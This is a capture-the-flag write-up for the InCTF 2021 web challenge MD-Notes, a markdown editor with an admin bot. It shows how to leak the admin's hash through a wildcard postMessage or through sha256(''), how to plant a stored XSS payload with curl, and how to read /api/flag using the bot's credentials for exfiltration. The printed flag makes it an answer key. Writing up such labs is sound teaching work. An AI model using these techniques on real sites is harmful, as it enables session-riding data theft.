tl;dr
- Leak admin’s hash using wildcard target origin in postMessage or by calculating 
sha256(''). - Create an XSS payload to read 
/api/flagand send it to attacker server. 
Challenge Author: imp3ri0n
Challenge Points: 100
Challenge Solves: 46
Introduction
A brief write-up of MD-Notes, web exploitation challenge from InCTF Internationals 2021. The source code of the challenge can be downloaded from here.
We’re provided with a markdown editor and an admin bot. The admin bot visits any link that is provided to it.
Initial Analysis

When a note is previewed, a POST request is made to /api/filter which returns a Hash, sanitized text and raw input. Preview is rendered inside an iframe using the following script. 
1  | window.addEventListener("message", (event) => {  | 
The preview iframe sends back the filtered input (note that it contains Hash). 
To save the post, a request has to be made to /api/create, which contains the hash and raw body. The created post is encoded if the hash does not belong to the admin.
1  | // Omitted for brevity  | 
There’s a /_debug endpoint that returns the admin_bucket. There is also /api/flag endpoint which returns the flag if admin token (which is in turn the flag) matches the cookie value. 
Exploit
From the above observations, we can conclude that:
- We require XSS to read 
/api/flag. - XSS is possible only with the admin’s hash.
 
Retrieving the Hash
The admin’s hash can be retrieved in two ways:
- By sending the bot to an attacker controlled website that contains an iframe pointing to /demo and sending a postMessage to it.
 
1  | <iframe src="http://web.challenge.bi0s.in:5432/demo" id="frame"></iframe>  | 
- The value of 
hashis always equal tosha256('')sinceCONFIG.admin_tokenwill be undefined. That means, the hash will bee3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855. 
Creating an XSS payload
Once the hash is retrieved, it is trivial to create a post that contains an XSS payload.
1  | curl 'http://web.challenge.bi0s.in:5432/api/create' \  | 
Sending a request as above creates a post in admin’s bucket.
1  | {"Status":"success", "PostId":"67912087343", "Bucket":"b5cd7ae0-7b50-7ae0-7ae0-47a03b473015"}  | 
Final Payload
exploit.py
1  | import requests  | 
exploit.js
1  | fetch("/api/flag",{credentials:'include'})  | 
Flag
1  | inctf{8d739_csrf_is_fun_3d587ec9}  |